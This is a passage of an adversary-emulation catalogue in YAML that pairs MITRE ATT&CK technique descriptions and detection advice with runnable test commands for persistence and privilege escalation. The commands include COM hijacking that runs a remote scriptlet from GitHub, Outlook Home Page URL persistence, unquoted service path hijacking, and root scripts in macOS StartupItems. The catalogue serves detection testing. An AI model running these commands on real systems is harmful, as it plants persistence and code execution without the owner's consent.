          /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\"
          /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add
          \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T
          REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\"
          /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\"
          /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\"
          /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\"
          /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe
          -sta \"AtomicTest\" "
        cleanup_command: |-
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
        name: powershell
  T1137.004:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--bf147104-abf9-4221-95d1-e81585859441
      type: attack-pattern
      created: '2019-11-07T20:09:56.536Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137.004
        url: https://attack.mitre.org/techniques/T1137/004
      - source_name: SensePost Outlook Home Page
        url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
        description: Stalmans, E. (2017, October 11). Outlook Home Page – Another
          Ruler Vector. Retrieved February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Office Application Startup: Outlook Home Page'
      description: |
        Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

        Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1137.004
    atomic_tests:
    - name: Install Outlook Home Page Persistence
      auto_generated_guid: 7a91ad51-e6d2-4d43-9471-f26362f5738e
      description: |
        This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

        Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: URL to Outlook Home Page containing the payload to execute
            (can be local file:// or remote https://)
          type: string
          default: file://PathToAtomicsFolder\T1137.004\src\T1137.004.html
        outlook_version:
          description: Version of Outlook that is installed
          type: float
          default: 16.0
        outlook_folder:
          description: Name of the Outlook folder to modify the homepage setting for
          type: string
          default: Inbox
      executor:
        name: command_prompt
        elevation_required: false
        command: 'reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder}
          /v URL /t REG_SZ /d #{url} /f

          '
        cleanup_command: 'reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder}
          /v URL /f >nul 2>&1

          '
  T1574.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Unquoted Path'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      created: '2020-03-13T13:51:58.519Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/009
        external_id: T1574.009
      - source_name: Windows Privilege Escalation Guide
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
      - source_name: Windows Unquoted Services
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
      - source_name: Help eliminate unquoted path
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
      - source_name: Microsoft CurrentControlSet Services
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy "#{service_executable}" "C:\Program Files\windows_service.exe"
          copy "#{service_executable}" "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1037.005:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
      created: '2020-01-15T18:00:33.603Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1037.005
        url: https://attack.mitre.org/techniques/T1037/005
      - source_name: Startup Items
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may use startup items automatically executed at boot
        initialization to establish persistence. Startup items execute during the
        final phase of the boot process and contain shell scripts or other executable
        files along with configuration information used by the system to determine
        the execution order for all startup items.(Citation: Startup Items)\n\nThis
        is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),
        and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t
        guaranteed to exist on the system by default, but does appear to exist by
        default on macOS Sierra. A startup item is a directory whose executable and
        configuration property list (plist), <code>StartupParameters.plist</code>,
        reside in the top-level directory. \n\nAn adversary can create the appropriate
        folders/files in the StartupItems directory to register their own persistence
        mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since
        StartupItems run during the bootup phase of macOS, they will run as the elevated
        root user."
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Initialization Scripts: Startup Items'
      x_mitre_detection: |-
        The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.

        Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.005
    atomic_tests:
    - name: Add file to Local Library StartupItems
      auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198
      description: |
        Modify or create an file in /Library/StartupItems
        [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      executor:
        command: 'sudo touch /Library/StartupItems/EvilStartup.plist

          '
        cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist

          '
        name: sh
        elevation_required: true
    - name: Add launch script to launch daemon
      auto_generated_guid: fc369906-90c7-4a15-86fd-d37da624dde6
      description: |
        Add launch script to /Library/StartupItems to launch agent
        [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      input_arguments:
        path_malicious_script:
          description: Name of script to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh"
        path_malicious_plist:
          description: Name of file to store in /tmp
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist"
        path_startup_params:
          description: Name of plist with startup params
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/StartupItems must exist\n"
        prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      - description: 'The startup script must exist on disk at specified location
          (#{path_malicious_script})

          '
        prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The startup script doesn''t exist. Check the path
          and try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
          sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
          sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist
          sudo /Library/StartupItems/atomic.sh start
        cleanup_command: |
          sudo launchctl unload /tmp/T1037_005_daemon.plist
          sudo rm /tmp/T1037_005_daemon.plist
          sudo rm /Library/StartupItems/atomic.sh
          sudo rm /Library/StartupItems/StartupParameters.plist
          sudo rm /tmp/T1037_005_daemon.txt
    - name: Add launch script to launch agent
      auto_generated_guid: 10cf5bec-49dd-4ebf-8077-8f47e420096f
      description: |
        Add launch script to /Library/StartupItems to launch agent
        [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      input_arguments:
        path_malicious_script:
          description: Name of script to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh"
        path_malicious_plist:
          description: Name of file to store in /tmp
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist"
        path_startup_params:
          description: Name of plist with startup params
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/StartupItems must exist\n"
        prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      - description: 'The startup script must exist on disk at specified location
          (#{path_malicious_script})

          '
        prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The startup script doesn''t exist. Check the path
          and try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
          sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
          sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist
          /Library/StartupItems/atomic.sh start
        cleanup_command: |-
          sudo launchctl unload /tmp/T1037_005_agent.plist
          sudo rm /tmp/T1037_005_agent.plist
          sudo rm /Library/StartupItems/atomic.sh
          sudo rm /Library/StartupItems/StartupParameters.plist
          sudo rm /tmp/T1037_005_agent.txt
  T1078.002:
    technique:
      modified: '2023-08-14T14:55:07.432Z'
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: "Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).\n\nOn Linux, check logs and other artifacts created
        by use of domain authentication services, such as the System Security Services
        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
        accounts to detect accounts that may have been created by an adversary for
        persistence."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      created: '2020-03-13T20:21:54.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/002
        external_id: T1078.002
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: Microsoft AD Accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
      - source_name: Ubuntu SSSD Docs
        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
        url: https://ubuntu.com/server/docs/service-sssd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037.003:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
      type: attack-pattern
      created: '2020-01-10T18:01:03.666Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1037.003
        url: https://attack.mitre.org/techniques/T1037/003
      - source_name: Petri Logon Script AD
        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
          Active Directory Users and Computers in Windows Server 2008. Retrieved November
          15, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: Network Logon Script
      description: "Adversaries may use network logon scripts automatically executed
        at logon initialization to establish persistence. Network logon scripts can
        be assigned using Active Directory or Group Policy Objects.(Citation: Petri
        Logon Script AD) These logon scripts run with the privileges of the user they
        are assigned to. Depending on the systems within the network, initializing
        one of these scripts could apply to more than one or potentially all systems.
        \ \n \nAdversaries may use these scripts to maintain persistence on a network.
        Depending on the access configuration of the logon scripts, either local credentials
        or an administrator account may be necessary."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1197:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: BITS Jobs
      description: |-
        Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

        The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

        Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

        BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Ricardo Dias
      - Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: |-
        BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)

        Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)

        Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Host forensic analysis
      type: attack-pattern
      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1197
        external_id: T1197
      - source_name: CTU BITS Malware June 2016
        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
          with BITS. Retrieved January 12, 2018.
        url: https://www.secureworks.com/blog/malware-lingers-with-bits
      - source_name: Symantec BITS May 2007
        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
          Retrieved January 12, 2018.
        url: https://www.symantec.com/connect/blogs/malware-update-windows-update
      - source_name: Elastic - Hunting for Persistence Part 1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
      - source_name: PaloAlto UBoatRAT Nov 2017
        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
          Retrieved January 12, 2018.
        url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
      - source_name: Microsoft Issues with BITS July 2011
        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
          12, 2018.
        url: https://technet.microsoft.com/library/dd939934.aspx
      - source_name: Microsoft BITS
        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
          January 12, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
      - source_name: Microsoft BITSAdmin
        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
        url: https://msdn.microsoft.com/library/aa362813.aspx
      - source_name: Microsoft COM
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
      - source_name: Mondok Windows PiggyBack BITS May 2007
        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
          Intelligent Transfer Service. Retrieved January 12, 2018.
        url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1197
    atomic_tests:
    - name: Bitsadmin Download (cmd)
      auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421
